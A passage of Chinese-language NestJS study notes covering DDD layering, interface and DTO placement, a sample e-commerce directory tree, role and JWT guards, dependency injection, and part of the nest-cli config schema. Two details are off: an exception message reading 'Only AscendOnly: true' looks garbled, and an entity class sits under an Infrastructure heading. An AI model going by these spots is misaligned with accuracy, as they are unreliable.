```ts
@Injectable()
export class OrderAppService {
  constructor(private readonly orderDomainService: OrderDomainService) {}

  async createOrder(dto: CreateOrderDto) {
    // 业务编排
    return this.orderDomainService.create(dto.userId, dto.productId, dto.amount);
  }
}
```

Domain Service (领域层)

```ts
@Injectable()
export class OrderDomainService {
  constructor(private readonly orderRepo: OrderRepository) {}

  create(userId: string, productId: string, amount: number) {
    const order = Order.create(userId, productId, amount);
    order.validate(); // 业务规则校验
    return this.orderRepo.save(order);
  }
}
```

Infrastructure（基础设施层）

```ts
export class Order {
  constructor(
    private readonly id: string,
    private readonly userId: string,
    private readonly productId: string,
    private amount: number,
  ) {}

  static create(userId: string, productId: string, amount: number) {
    return new Order(uuid(), userId, productId, amount);
  }

  validate() {
    if (this.amount <= 0) throw new Error('订单金额必须大于 0');
  }
}
```

DDD 架构的特点是 **业务逻辑内聚在领域层**，上层（Controller、Service）只做编排和协调。
NestJS 本身的模块化和依赖注入机制，和 DDD 思路非常契合。

:::important 重要

**误区**：`Service` 就是写业务逻辑的地方（比如 CRUD 全写在一个 Service 里）。

**进阶理解**：`Service` 并不是 *实现业务逻辑的唯一地方*，而是一个 **业务组织者**。

:::

## DDD 的典型分层

1. **Interface（用户接口层 / 控制器层）**
   * 就是你写的 NestJS **Controller**、GraphQL Resolver、gRPC Handler 之类。
   * 负责接收请求（HTTP、WebSocket…），调用应用层，不写业务。
   * **只负责入站适配**。
2. **Application（应用层）**
   * 定义系统对外提供的用例（Use Case）。
   * 这里不会写具体业务逻辑，而是编排领域服务，把多个业务过程串起来。
   * 举例：订单支付 → 校验库存 (InventoryService) → 扣减库存 → 扣钱 → 创建订单 → 发送通知。
   * 主要职责：
     * 协调领域层
     * 事务控制
     * 权限校验、日志记录等
3. **Domain（领域层）**
   * 核心业务逻辑所在。
   * 包含 **实体 (Entity)**、**值对象 (Value Object)**、**领域服务 (Domain Service)**。
   * 这里不关心数据库、不关心 HTTP，只关注业务规则本身。
   * 举例：
     * **订单实体**（有状态：已支付/未支付）
     * **支付服务**（校验支付金额，检查订单状态）
     * **值对象**（金额 Money，不能为负数）
4. **Infrastructure（基础设施层）**
   * 技术细节的实现：数据库、消息队列、缓存、第三方 API 调用等。
   * 通常提供 **Repository** 实现，把数据存取和业务解耦。
   * 在 NestJS 里一般是 `PrismaService`、`TypeORM Repository`、`RedisService`、`KafkaAdapter` 等。
   * 在 Domain 里只定义接口，在 Infrastructure 里写实现。

```markdown
                         ┌───────────────────┐
                         │   Interface 层    │  ← 控制器/入站适配
                         │ (Controller/API)  │
                         └─────────┬─────────┘
                                   │ 调用
                                   ▼
                         ┌───────────────────┐
                         │  Application 层   │  ← 应用服务 (Use Case)
                         │ (App Service)     │
                         │ - 业务编排        │
                         │ - 事务控制        │
                         └─────────┬─────────┘
                                   │ 调用
                                   ▼
                         ┌───────────────────┐
                         │    Domain 层      │  ← 业务核心
                         │ (Entity, VO,      │
                         │  Domain Service)  │
                         │ - 规则 if/else    │
                         │ - 聚合/状态管理    │
                         └─────────┬─────────┘
                                   │ 调用接口
                                   ▼
                         ┌───────────────────┐
                         │ Infrastructure 层 │  ← 技术细节
                         │ (DB, MQ, Cache,   │
                         │  3rd API, Repo)   │
                         └───────────────────┘
```

## Interface，Types/DTO的位置

### 抽象接口

一般是 **“领域接口”**（例如 Repository、Domain Service 需要依赖的外部服务接口）。

* **放在领域层 (Domain)**
  * 因为接口描述的是**领域的需求**，而不是某个具体技术。
  * 比如领域层需要一个「用户仓储」，它不关心用的是 MySQL、Mongo 还是 Redis。
  * 这个接口属于领域的“所有权”，实现交给 Infrastructure。

例子：

```ts
// src/domain/user/user.repository.ts
export interface UserRepository {
  findById(id: string): Promise<User>;
  save(user: User): Promise<void>;
}
```

然后在基础设施层实现：

```ts
// src/infrastructure/repositories/user.repository.mysql.ts
@Injectable()
export class MysqlUserRepository implements UserRepository {
  async findById(id: string): Promise<User> { ... }
  async save(user: User): Promise<void> { ... }
}
```

原则：**接口属于领域，实现在 Infrastructure**。这样领域层只依赖抽象，不依赖技术细节。

### DTO / 输入输出类型

DTO 是应用层（Application）的东西，**通常不放在领域层**，因为它是为了 **接口通信/数据传输** 服务的。

* **DTO 属于应用层或接口层**，而不是领域层。
* 领域层只关心领域模型（Entity、ValueObject），而不是网络请求/响应格式。

例子：

```ts
// src/application/user/dto/create-user.dto.ts
export class CreateUserDto {
  username: string;
  password: string;
}
```

控制器用它来接收输入：

```ts
@Post()
create(@Body() dto: CreateUserDto) {
  return this.userAppService.create(dto);
}
```

### 通用类型（Shared Types）

一些**纯工具类的类型**（例如 `Result<T>`、`Paginated<T>`），可以单独放在 `shared/` 或 `common/` 文件夹里。

* 这类跟领域无关，也不是 DTO，而是“跨层共用”的通用结构。

例子：

```ts
// src/shared/result.ts
export type Result<T> = {
  success: boolean;
  data?: T;
  error?: string;
};
```

### 总结

**接口 (Repository, Service Contracts) → 放在领域层**
（因为它描述的是领域需求，保持“高内聚，低耦合”）

**DTO、入参出参 → 放在应用层/接口层**
（因为它是通信协议的一部分，不属于领域）

**通用工具类型 → 放在 shared/common 层**
（避免污染领域和应用）

一个典型 Nest + DDD 项目目录

```markdown
src/
  domain/
    user/
      user.entity.ts
      user.repository.ts   <-- 接口
      user.service.ts
  application/
    user/
      user.service.ts
      dto/
        create-user.dto.ts
        update-user.dto.ts
  infrastructure/
    repositories/
      user.repository.mysql.ts   <-- 实现
  interface/
    user.controller.ts
  shared/
    result.ts
    pagination.ts
```

## 电商后端(NestJS + DDD)

一份**电商后端（NestJS + DDD）`src/` 目录完整示例**（包含四层：Interface / Application / Domain / Infrastructure，以及共享与配置等）

::: file-tree icon="colored" title="电商网站后端 src 结构"

* src
  * common/
    * constants/
      * index.ts
    * decorators/
      * index.ts
    * filters/
      * index.ts
    * interceptors/
      * index.ts
    * middlewares/
      * index.ts
    * pipes/
      * index.ts
    * utils/
      * index.ts
    * index.ts
  * config/
    * app.config.ts
    * database.config.ts
    * jwt.config.ts
    * index.ts
  * modules/
    * auth/
      * controllers/
        * auth.controller.ts
      * dtos/
        * login.dto.ts
      * entities/
        * user.entity.ts
      * services/
        * auth.service.ts
      * strategies/
        * jwt.strategy.ts
      * auth.module.ts
    * products/
      * controllers/
        * products.controller.ts
      * dtos/
        * create-product.dto.ts
      * entities/
        * product.entity.ts
      * services/
        * products.service.ts
      * products.module.ts
    * orders/
      * controllers/
        * orders.controller.ts
      * dtos/
        * create-order.dto.ts
      * entities/
        * order.entity.ts
      * services/
        * orders.service.ts
      * orders.module.ts
    * index.ts
  * shared/
    * decorators/
      * roles.decorator.ts
    * guards/
      * roles.guard.ts
    * interfaces/
      * user.interface.ts
    * pipes/
      * parse-int.pipe.ts
    * index.ts
  * domain/
    * entities/
      * user.entity.ts
      * product.entity.ts
      * order.entity.ts
    * repositories/
      * user.repository.ts
      * product.repository.ts
      * order.repository.ts
    * services/
      * domain-user.service.ts
      * domain-product.service.ts
    * interfaces/
      * repository.interface.ts
    * index.ts
  * application/
    * use-cases/
      * create-user.usecase.ts
      * create-order.usecase.ts
      * create-product.usecase.ts
    * services/
      * application.service.ts
    * dtos/
      * user.dto.ts
      * order.dto.ts
      * product.dto.ts
    * index.ts
  * infrastructure/
    * database/
      * typeorm/
        * user.repository.ts
        * product.repository.ts
        * order.repository.ts
    * services/
      * pdf-generator.service.ts
      * email.service.ts
    * index.ts
  * app.module.ts
  * main.ts
  * index.ts

:::

调用与所有权

数据流与依赖方向：
Interface → Application → Domain → (抽象) → Infrastructure(实现)

所有权：

* 领域模型与仓储 *接口* 属于 Domain（高内聚，防技术入侵）
* DTO/视图/请求响应契约属于 Interface/Application
* 技术实现（数据库/缓存/外部SDK）属于 Infrastructure

```flow
st=>start: 请求进入 API
ctrl=>operation: 控制器层 (Controller)
app=>operation: 应用层 (Application Service)
dom=>operation: 领域层 (Domain)
repo=>operation: 仓储接口 (Repository Interface)
infra=>operation: 基础设施层 (Infrastructure)
db=>inputoutput: 数据库 (DB)

st->ctrl->app->dom
dom->repo
repo->infra->db

```

---

---
url: /nest/7buk1z4g/index.md
---
# 守卫
## 守卫{#guard}

**守卫是一个使用 `@Injectable()` 装饰器标记的类，实现了 `CanActivate` 接口。**

守卫类似一个门卫，职责单一但至关重要：它根据运行时的条件（比如权限、角色、访问控制列表等），决定一个请求能否被路由处理程序接手。这种行为通常被称为**授权**。授权和认证（身份验证）经常一起用。在传统的 Express 应用中，认证通常由中间件来处理，因为像令牌验证或给请求对象附加属性这类操作，与特定路由的上下文（及其元数据）关联不大。

但中间件天生有点 “笨拙”。它不知道调用 `next()` 函数后会执行哪个处理程序。而守卫则不同，它们可以访问 `ExecutionContext` 实例，从而精确知道接下来会执行什么。守卫的设计与异常过滤器、管道和拦截器类似，允许你在请求/响应周期的恰当位置插入处理逻辑，并且以声明式的方式实现。这让你的代码更符合 **DRY**（Don't Repeat Yourself）原则，也更具可读性和声明性。

**提示**：守卫在所有中间件之后执行，但在任何拦截器或管道之前。

![](https://nest.nodejs.cn/assets/Guards_1.png){title=图片来自nest.nodejs.cn}

**核心要点**

守卫的核心是 `CanActivate` 接口的 `canActivate` 方法，它返回一个布尔值（或其 Promise/Observable 形式），决定请求是否继续流向路由处理程序。返回 `true` 表示放行，`false` 则表示拒绝（通常抛出 `ForbiddenException` 或类似异常）。

* **权限控制**：检查用户角色是否满足路由要求（如仅管理员访问）。
* **动态访问控制**：根据运行时数据（如数据库中的 ACL）决定访问权限。
* **API 密钥验证**：验证请求是否携带有效的 API 密钥。
* **条件路由**：根据请求头、查询参数或用户状态动态决定是否处理请求。

**常见陷阱**

1. **误用中间件代替守卫**：中间件适合全局逻辑（如日志记录、认证），但守卫更适合与路由上下文相关的精细化控制。不要把守卫的职责交给中间件，否则代码会显得零散。
2. **忽略 ExecutionContext**：守卫可以通过 `ExecutionContext` 获取请求、路由元数据等信息，忽略它可能导致逻辑不完整。
3. **异常处理不当**：守卫拒绝请求时，建议抛出明确的 HTTP 异常（如 `ForbiddenException`），否则客户端可能收到不清晰的错误信息。
4. **异步逻辑处理不当**：如果 `canActivate` 返回 Promise，需确保正确处理异步逻辑，避免意外阻塞。

**真实开发建议**

* **模块化守卫**：将守卫逻辑拆分为多个小守卫，各自处理单一职责（如角色检查、令牌验证），然后通过 `@UseGuards()` 组合使用。
* **结合依赖注入**：守卫是可注入的，可以注入服务（如 `UserService`）来查询数据库或验证逻辑。
* **日志记录**：在守卫中记录拒绝请求的原因，便于调试和审计。
* **全局守卫 vs 局部守卫**：全局守卫适合通用逻辑（如 API 密钥验证），局部守卫适合特定路由的权限控制。

::: details **代码示例**

以下是一个简单的角色守卫示例，检查用户是否为管理员：

```typescript
import { Injectable, CanActivate, ExecutionContext, ForbiddenException } from '@nestjs/common';
import { Observable } from 'rxjs';

@Injectable()
export class AdminGuard implements CanActivate {
  canActivate(
    context: ExecutionContext,
  ): boolean | Promise<boolean> | Observable<boolean> {
    const request = context.switchToHttp().getRequest();
    const user = request.user; // 假设认证中间件已将用户对象附加到请求上

    if (!user || !user.roles.includes('admin')) {
      throw new ForbiddenException('Only AscendOnly: true');
    }

    return true; // 用户是管理员，允许请求继续
  }
}
```

**使用方式**：

```typescript
// 在控制器中应用守卫
import { Controller, Get, UseGuards } from '@nestjs/common';
import { AdminGuard } from './admin.guard';

@Controller('protected')
export class ProtectedController {
  @Get()
  @UseGuards(AdminGuard)
  getProtectedResource() {
    return { message: 'This is a protected resource' };
  }
}
```

**代码解释**：

* **@Injectable()**：标记 `AdminGuard` 为可注入的服务，允许 NestJS 的依赖注入系统管理其生命周期。
* **CanActivate**：接口要求实现 `canActivate` 方法，返回布尔值决定请求是否通过。
* **ExecutionContext**：提供请求上下文，`switchToHttp().getRequest()` 获取 HTTP 请求对象。
* **ForbiddenException**：当用户不是管理员时，抛出 403 错误，清晰传达权限不足。
* **@UseGuards(AdminGuard)**：将守卫应用到特定路由，只有通过守卫检查的请求才会执行 `getProtectedResource` 方法。

:::

## 授权守卫{#authorization-guard}

**授权守卫是一个典型的应用场景，因为只有当请求的调用者（通常是经过身份验证的用户）具备足够权限时，特定的路由才应该被允许访问。**
我们将构建一个 `AuthGuard`，它假设请求中已附带一个经过身份验证的用户（例如，通过请求头中的令牌）。这个守卫会提取并验证令牌，然后根据提取的信息决定是否允许请求继续。

以下是 `AuthGuard` 的代码实现：

```typescript
import { Injectable, CanActivate, ExecutionContext } from '@nestjs/common';
import { Observable } from 'rxjs';

@Injectable()
export class AuthGuard implements CanActivate {
  canActivate(
    context: ExecutionContext,
  ): boolean | Promise<boolean> | Observable<boolean> {
    const request = context.switchToHttp().getRequest();
    return validateRequest(request);
  }
}
```

**提示**： NestJS 应用中实现完整的身份验证机制，可以参考[身份验证](../安全/nest-authentication)。对于更复杂的授权示例，可以查看[授权](../安全/nest-authorization)。

**`validateRequest()` 函数的逻辑可以根据需求简单或复杂。**
这个例子的核心是展示守卫如何无缝融入请求/响应周期。`validateRequest()` 可以包含从解析 JWT 令牌到查询数据库的任何逻辑，具体取决于你的业务需求。

**每个守卫都必须实现 `canActivate()` 函数。**
此函数返回一个布尔值，指示当前请求是否被允许。它可以是同步的（直接返回 `boolean`），也可以是异步的（返回 `Promise<boolean>` 或 `Observable<boolean>`）。NestJS 根据返回值决定下一步动作：

* **返回 `true`**：请求被放行，继续交给路由处理程序。
* **返回 `false`**：NestJS 拒绝请求，通常抛出 HTTP 403（Forbidden）异常。

**核心要点**

`AuthGuard` 的核心在于 `canActivate` 方法，它通过 `ExecutionContext` 获取请求对象，并调用 `validateRequest` 来检查请求的合法性。`validateRequest` 是你自定义逻辑的入口，可以用来验证令牌、检查用户权限或执行其他动态检查。

**常见陷阱**

1. **过度复杂的守卫逻辑**：`validateRequest` 应保持单一职责，避免将过多业务逻辑塞入守卫。复杂的逻辑可以交给服务层处理。

::: details 代码示例

以下是一个更完整的 `AuthGuard`，包含 JWT 令牌验证的实现：

```typescript
import { Injectable, CanActivate, ExecutionContext, UnauthorizedException } from '@nestjs/common';
import { Observable } from 'rxjs';
import { JwtService } from '@nestjs/jwt';

@Injectable()
export class AuthGuard implements CanActivate {
  constructor(private readonly jwtService: JwtService) {}

  async canActivate(context: ExecutionContext): Promise<boolean> {
    const request = context.switchToHttp().getRequest();
    const token = this.extractTokenFromHeader(request);

    if (!token) {
      throw new UnauthorizedException('Missing or invalid token');
    }

    try {
      const payload = await this.jwtService.verifyAsync(token);
      request.user = payload; // 将用户信息附加到请求对象
      return true;
    } catch (error) {
      throw new UnauthorizedException('Invalid token');
    }
  }

  private extractTokenFromHeader(request: any): string | null {
    const authHeader = request.headers.authorization;
    if (!authHeader) return null;
    const [type, token] = authHeader.split(' ');
    return type === 'Bearer' ? token : null;
  }
}
```

**使用方式**：

```typescript
import { Controller, Get, UseGuards } from '@nestjs/common';
import { AuthGuard } from './auth.guard';

@Controller('protected')
export class ProtectedController {
  @Get()
  @UseGuards(AuthGuard)
  getProtectedResource() {
    return { message: 'This is a protected resource' };
  }
}
```

:::

## 执行上下文{#execution-context}

**`canActivate()` 函数接受一个参数，即 `ExecutionContext` 实例。**
`ExecutionContext` 继承自 `ArgumentsHost`，就像在异常过滤器章节中介绍的那样，为守卫提供了请求的完整上下文信息。在前面的示例中，我们使用了 `ArgumentsHost` 提供的辅助方法（如 `switchToHttp().getRequest()`）来获取 `Request` 对象的引用。

**通过扩展 `ArgumentsHost`，`ExecutionContext` 增加了一些新的辅助方法，提供当前执行过程的更多细节**，让它能看到控制器、方法或执行上下文的元数据。这使得守卫可以更灵活地适配不同的场景，比如针对特定控制器或方法应用不同逻辑。更多关于 `ExecutionContext` 的信息，可以查看[执行上下文](../基础知识/nest-execution-context)。

## 基于角色的身份验证{#role-based-authentication}

**我们将构建一个更强大的守卫，限制只有特定角色的用户才能访问**，先一个基础模板开始，目前它允许所有请求通过，接下来会逐步完善它：

```typescript
import { Injectable, CanActivate, ExecutionContext } from '@nestjs/common';
import { Observable } from 'rxjs';

@Injectable()
export class RolesGuard implements CanActivate {
  canActivate(
    context: ExecutionContext,
  ): boolean | Promise<boolean> | Observable<boolean> {
    return true; // 目前允许所有请求通过
  }
}
```

**核心要点**

* **`ExecutionContext` 的作用**：它提供了请求的完整上下文，包括 HTTP 请求、控制器、方法和元数据。守卫可以通过 `context.getClass()` 和 `context.getHandler()` 获取当前控制器类和方法，进而实现动态的权限控制。

**使用场景**

* **限制管理员路由**：只允许 `admin` 角色访问管理面板。
* **多角色支持**：支持多种角色（如 `user`、`editor`、`admin`）访问不同资源。
* **动态元数据**：结合 NestJS 的 `@SetMetadata` 装饰器，动态设置路由所需的角色。
* **分层权限**：根据用户角色和上下文（如特定控制器或方法）实现细粒度权限控制。

## 绑定守卫{#binding-guards}

**守卫可以像管道和异常过滤器一样，灵活地应用于控制器范围、方法范围或全局作用域。**
通过使用 `@UseGuards()` 装饰器，我们可以为控制器或特定方法设置守卫，这个装饰器支持传入单个守卫类或一组守卫（用逗号分隔），让开发者能以声明式的方式轻松应用多重保护机制。

```typescript
import { Controller, UseGuards } from '@nestjs/common';
import { RolesGuard } from './roles.guard';

@Controller('cats')
@UseGuards(RolesGuard)
export class CatsController {}
```

**提示**：`@UseGuards()` 装饰器从 `@nestjs/common` 包导入。

**在上面的例子中，我们传递了 `RolesGuard` 类（而非实例），将实例化的责任交给 NestJS 框架，从而支持依赖注入**，与管道和异常过滤器类似，我们也可以直接传递一个守卫实例：

```typescript
import { Controller, UseGuards } from '@nestjs/common';
import { RolesGuard } from './roles.guard';

@Controller('cats')
@UseGuards(new RolesGuard())
export class CatsController {}
```

**这种方式会将守卫绑定到控制器声明的所有路由处理程序**，如果只需要针对单个方法应用守卫，可以在方法级别使用 `@UseGuards()` 装饰器。

**全局守卫的设置通过 Nest 应用实例的 `useGlobalGuards()` 方法实现：**

```typescript
import { NestFactory } from '@nestjs/core';
import { AppModule } from './app.module';
import { RolesGuard } from './roles.guard';

async function bootstrap() {
  const app = await NestFactory.create(AppModule);
  app.useGlobalGuards(new RolesGuard());
  await app.listen(3000);
}
bootstrap();
```

**注意**：对于混合应用，`useGlobalGuards()` 默认不会为网关或微服务设置守卫。对于“标准”（非混合）微服务应用，`useGlobalGuards()` 会全局应用守卫。

**全局守卫适用于整个应用，覆盖每个控制器和路由处理程序**，但需要注意，使用 `useGlobalGuards()` 注册的全局守卫无法注入依赖，因为它是在模块上下文之外定义的。为了解决这个问题，可以通过模块的方式设置全局守卫：

```typescript
import { Module } from '@nestjs/common';
import { APP_GUARD } from '@nestjs/core';
import { RolesGuard } from './roles.guard';

@Module({
  providers: [
    {
      provide: APP_GUARD,
      useClass: RolesGuard,
    },
  ],
})
export class AppModule {}
```

**提示**：使用 `APP_GUARD` 注册全局守卫时，守卫会成为全局生效，无论它在哪个模块中定义。建议选择定义守卫的模块（如上例中的 `RolesGuard` 所在模块）来完成注册。

::: details 代码示例

结合角色元数据的控制器级别守卫应用：

```typescript
import { Controller, Get, UseGuards, SetMetadata } from '@nestjs/common';
import { RolesGuard } from './roles.guard';

// 自定义角色装饰器
export const Roles = (...roles: string[]) => SetMetadata('roles', roles);

@Controller('cats')
@UseGuards(RolesGuard)
export class CatsController {
  @Get()
  @Roles('admin', 'editor') // 仅允许 admin 或 editor 角色访问
  getCats() {
    return { message: 'List of cats' };
  }

  @Get('create')
  @Roles('admin') // 仅允许 admin 角色访问
  createCat() {
    return { message: 'Create a cat' };
  }
}
```

**@Roles**：自定义装饰器，通过 `SetMetadata` 设置路由所需的角色，供 `RolesGuard` 读取。

:::

## 为每个处理程序设置角色{#setting-roles-per-handler}

**我们的 `RolesGuard` 已经能工作，但还不够聪明，缺乏对执行上下文的充分利用。**
它目前不知道每个路由所需的角色，也无法根据路由动态调整权限。例如，`CatsController` 可能需要为不同路由设置不同的权限：有些路由只对管理员开放，有些对所有用户开放。如何以灵活且可重用的方式将角色与路由匹配呢？

**答案在于自定义元数据。**
NestJS 提供了两种方式为路由处理程序附加元数据：通过 `Reflector.createDecorator` 创建自定义装饰器，或使用内置的 `@SetMetadata()` 装饰器。这就像给每个路由贴上一个“权限标签”，让守卫能快速识别所需角色。

**我们使用 `Reflector.createDecorator` 创建一个 `@Roles()` 装饰器，用于附加角色元数据**，`Reflector` 是 NestJS 提供的内置工具，从 `@nestjs/core` 导入，简化了元数据的操作。

```typescript
import { Reflector } from '@nestjs/core';

export const Roles = Reflector.createDecorator<string[]>();
```

**`Roles` 装饰器是一个接受 `string[]` 类型参数的函数**。它用于标记路由所需的角色列表。

**在控制器中使用 `@Roles()` 装饰器：**

```typescript
import { Controller, Post, Body } from '@nestjs/common';
import { Roles } from './roles.decorator';
import { CreateCatDto } from './create-cat.dto';

@Controller('cats')
export class CatsController {
  @Post()
  @Roles(['admin']) // 仅允许 admin 角色访问
  async create(@Body() createCatDto: CreateCatDto) {
    this.catsService.create(createCatDto);
  }
}
```

**说明**：这里通过 `@Roles(['admin'])` 为 `create` 方法设置了元数据，表示只有 `admin` 角色的用户可以访问此路由。

**替代方法**：可以使用内置的 `@SetMetadata()` 装饰器实现相同效果。

## 将守卫与角色绑定{#putting-it-all-together}

**当前 `RolesGuard` 总是返回 `true`，允许所有请求通过。**
我们需要让它根据路由的角色元数据和用户的实际角色进行条件判断。通过 `Reflector` 读取路由的元数据，并与 `request.user` 中的角色对比，决定是否放行。

```typescript
import { Injectable, CanActivate, ExecutionContext, ForbiddenException } from '@nestjs/common';
import { Reflector } from '@nestjs/core';
import { Roles } from './roles.decorator';

@Injectable()
export class RolesGuard implements CanActivate {
  constructor(private reflector: Reflector) {}

  canActivate(context: ExecutionContext): boolean {
    // 读取路由上的角色元数据
    const requiredRoles = this.reflector.get(Roles, context.getHandler());
    if (!requiredRoles) {
      return true; // 无角色要求，允许通过
    }

    // 获取请求中的用户信息
    const request = context.switchToHttp().getRequest();
    const user = request.user;

    // 验证用户角色
    if (!user || !user.roles || !this.matchRoles(requiredRoles, user.roles)) {
      throw new ForbiddenException('Forbidden resource');
    }

    return true;
  }

  private matchRoles(requiredRoles: string[], userRoles: string[]): boolean {
    return requiredRoles.some(role => userRoles.includes(role));
  }
}
```

**提示**：在 Node.js 开发中，通常通过认证中间件（如 Passport 或 JWT）将用户信息附加到 `request.user` 上，包含用户的角色信息。

**警告**：`matchRoles()` 的逻辑可以根据需求调整，比如支持复杂角色层级或优先级。

**当权限不足时，NestJS 默认返回以下响应：**

```json
{
  "statusCode": 403,
  "message": "Forbidden resource",
  "error": "Forbidden"
}
```

**自定义异常**：如果想返回不同的错误响应，可以在守卫中抛出特定异常，例如：

```typescript
throw new UnauthorizedException('Invalid role');
```

**异常处理**：守卫抛出的任何异常都会被异常层（全局异常过滤器或当前上下文的异常过滤器）处理。

---

---
url: /nest/8itin9gy/index.md
---
# 笔记
## 请求的流转过程

```bash
[请求 Request] --> [DTO 数据传输对象] --> [Controller 控制器（Handler）] --> [Service 服务层] --> [Repository / 数据层]
```

在 Nest 应用中，一个典型的请求会按照如下步骤进行：

1. **客户端发送请求**
   请求会被路由匹配到对应的控制器（Controller）方法。

2. **DTO（Data Transfer Object）接收参数**
   控制器方法在接收参数时，会使用定义好的 **DTO 类** 来描述和验证请求体结构。
   DTO 通常配合 `class-validator` 与 `class-transformer` 实现参数校验与类型转换。

3. **Controller（控制器）处理请求**
   控制器中的每个方法称为 **handler（处理器）**。
   它负责：

   * 解析请求参数（通过装饰器如 `@Body()`, `@Param()`, `@Query()` 等）
   * 调用对应的业务逻辑（Service）
   * 返回响应结果

   可以理解为 **Controller 是路由与业务逻辑之间的中间层**。

## 依赖注入（IoC 容器）

Nest 采用 **IoC（控制反转）** 与 **依赖注入（DI）** 模式来管理模块和类之间的依赖关系。

框架会自动从 **IoC 容器** 中查找依赖实例并注入到需要的地方。

注入方式有两种：

### 构造器注入（推荐）

```ts
@Controller('users')
export class UserController {
  constructor(private readonly userService: UserService) {}
}
```

依赖通过构造函数参数注入。

注入时机在实例化类时完成。

**优点**：清晰、类型安全、方便测试。

### 属性注入

```ts
@Controller('users')
export class UserController {
  @Inject(UserService)
  private readonly userService: UserService;
}
```

通过 `@Inject()` 装饰器显式注入依赖。

一般在特殊场景下使用（如循环依赖）。

两种方式的效果一致，但**构造器注入是官方推荐的写法**。

## 模块化结构（Module）

每个 Nest 模块通常包含以下部分：

| 组成部分       | 作用                                                         |
| -------------- | ------------------------------------------------------------ |
| **Controller** | 负责接收请求、解析参数、返回响应                             |
| **Service**    | 负责业务逻辑处理（如数据库操作、第三方接口调用）             |
| **DTO**        | 定义请求/响应的数据结构与类型验证                            |
| **Entities**   | 定义数据库表对应的实体类                                     |
| **Module**     | 将相关的 controller、service、entity 等组织在一起，形成可复用模块 |

模块文件示例：

```ts
@Module({
  controllers: [UserController],
  providers: [UserService],
  exports: [UserService],
})
export class UserModule {}
```

## 应用启动流程

Nest 应用启动后会经历以下过程：

1. 从 **`AppModule`** 开始作为根模块；
2. 初始化 **IoC 容器**；
3. 加载所有模块（包括其 controller、service 等）；
4. 注册所有路由；
5. 启动 HTTP 服务器，开始监听请求。

```bash
bootstrap() --> 初始化 IoC 容器 --> 注册模块与控制器 --> 启动服务
```

## MVC 模式在 Nest 中的体现

Nest 框架的整体思想与经典的 **MVC（Model-View-Controller）** 架构一致：

| 层级                     | 在 Nest 中的对应                     | 主要职责                         |
| ------------------------ | ------------------------------------ | -------------------------------- |
| **Model（模型层）**      | Entity + Repository + Service        | 处理业务逻辑和数据存取           |
| **View（视图层）**       | 通常是 JSON 响应（也可使用模板引擎） | 展示结果                         |
| **Controller（控制层）** | Controller                           | 接收请求、调用 Service、返回响应 |

```bash
Client --> Controller(接收参数) --> Service(业务逻辑) --> Repository(数据库操作)
      --> Service(返回结果) --> Controller(响应客户端)
```

## CLI 配置文件

::: details 完整的配置文件

```json
{
  "$schema": "http://json-schema.org/draft-07/schema#",
  "$id": "https://json.schemastore.org/nest-cli.json",
  "$comment": "https://docs.nestjs.com/cli/monorepo#cli-properties",
  "definitions": {
    "CompilerOptions": {
      "$comment": "https://docs.nestjs.com/cli/monorepo#global-compiler-options",
      "type": "object",
      "description": "A map with keys specifying compiler options and values specifying the option setting. See https://docs.nestjs.com/cli/monorepo#global-compiler-options for details",
      "default": {},
      "properties": {
        "tsConfigPath": {
          "$comment": "https://github.com/nestjs/nest-cli/blob/master/lib/compiler/defaults/webpac-defaults.ts",
          "default": "tsconfig.build.json",
          "type": "string",
          "description": "(monorepo only) Points at the file containing the tsconfig.json settings that will be used when nest build or nest start is called without a project option (e.g., when the default project is built or started). 'nest build' will not work as expected without this file."
        },
        "builder": {
          "anyOf": [
            {
              "$comment": "https://github.com/nestjs/nest-cli/blob/master/commands/build.command.ts",
              "default": "tsc",
              "type": "string",
              "enum": ["tsc", "webpack", "swc"],
              "description": "Builder to be used (tsc, webpack, swc). For details on how to configure `SWC` see https://docs.nestjs.com/recipes/swc#getting-started"
            },
            {
              "type": "object",
              "properties": {
                "type": {
                  "$comment": "https://github.com/nestjs/nest-cli/blob/master/commands/build.command.ts",
                  "default": "tsc",
                  "type": "string",
                  "enum": ["tsc", "webpack", "swc"],
                  "description": "Builder to be used (tsc, webpack, swc). For details on how to configure `SWC` see https://docs.nestjs.com/recipes/swc#getting-started"
                },
                "options": {
                  "type": "object",
                  "properties": {
                    "outDir": {
                      "type": "string",
                      "description": "The directory to output files."
                    },
                    "filenames": {
                      "type": "array",
                      "items": {
                        "type": "string"
                      },
                      "description": "Array of filenames to be included."
                    },
                    "sync": {
                      "type": "boolean",
                      "description": "Whether to synchronize files or not."
                    },
                    "extensions": {
                      "type": "array",
                      "items": {
                        "type": "string"
                      },
                      "description": "Array of file extensions to be considered."
                    },
                    "copyFiles": {
                      "type": "boolean",
                      "description": "Whether to copy files or not."
                    },
                    "includeDotfiles": {
                      "type": "boolean",
                      "description": "Whether to include dotfiles or not."
                    },
                    "quiet": {
                      "type": "boolean",
                      "description": "Whether to suppress logs or not."
                    },
                    "watch": {
                      "type": "boolean",
                      "description": "Whether to watch files for changes or not."
                    },
                    "swcrcPath": {
                      "type": "string",
                      "description": "Path to SWC config file to use."
                    }
                  }
                }
              }
            }
          ]
        },
        "typeCheck": {
          "$comment": "https://github.com/nestjs/nest-cli/blob/master/commands/build.command.ts",
          "default": false,
          "type": "boolean",
          "description": "If true, enable type checking (when SWC is used). See https://docs.nestjs.com/recipes/swc#type-checking for details."
        },
        "webpack": {
          "$comment": "https://github.com/nestjs/nest-cli/blob/master/commands/build.command.ts",
          "default": false,
          "type": "boolean",
          "description": "If true, use webpack compiler (deprecated option, use `builder` instead). If false or not present, use tsc. In monorepo mode, the default is true (use webpack), in standard mode, the default is false (use tsc). See https://docs.nestjs.com/cli/monorepo#cli-properties for details."
        },
        "webpackConfigPath": {
          "$comment": "https://github.com/nestjs/nest-cli/blob/master/commands/build.command.ts",
          "default": "webpack.config.js",
          "type": "string",
          "description": "Points at a webpack options file. If not specified, Nest looks for the file webpack.config.js."
        },
        "plugins": {
          "$comment": "https://docs.nestjs.com/openapi/cli-plugin#using-the-cli-plugin",
          "default": [],
          "type": "array",
          "items": {
            "$ref": "#/definitions/PluginItems"
          }
        },
        "assets": {
          "$comment": "https://docs.nestjs.com/cli/monorepo#assets",
          "default": [],
          "type": "array",
          "items": {
            "$ref": "#/definitions/AssetsOptions"
          },
          "description": "Enables automatically distributing non-TypeScript assets whenever a compilation step begins (asset distribution does not happen on incremental compiles in --watch mode). Accept glob-like string and object. See https://docs.nestjs.com/cli/monorepo#assets for details."
        },
        "watchAssets": {
          "default": false,
          "type": "boolean",
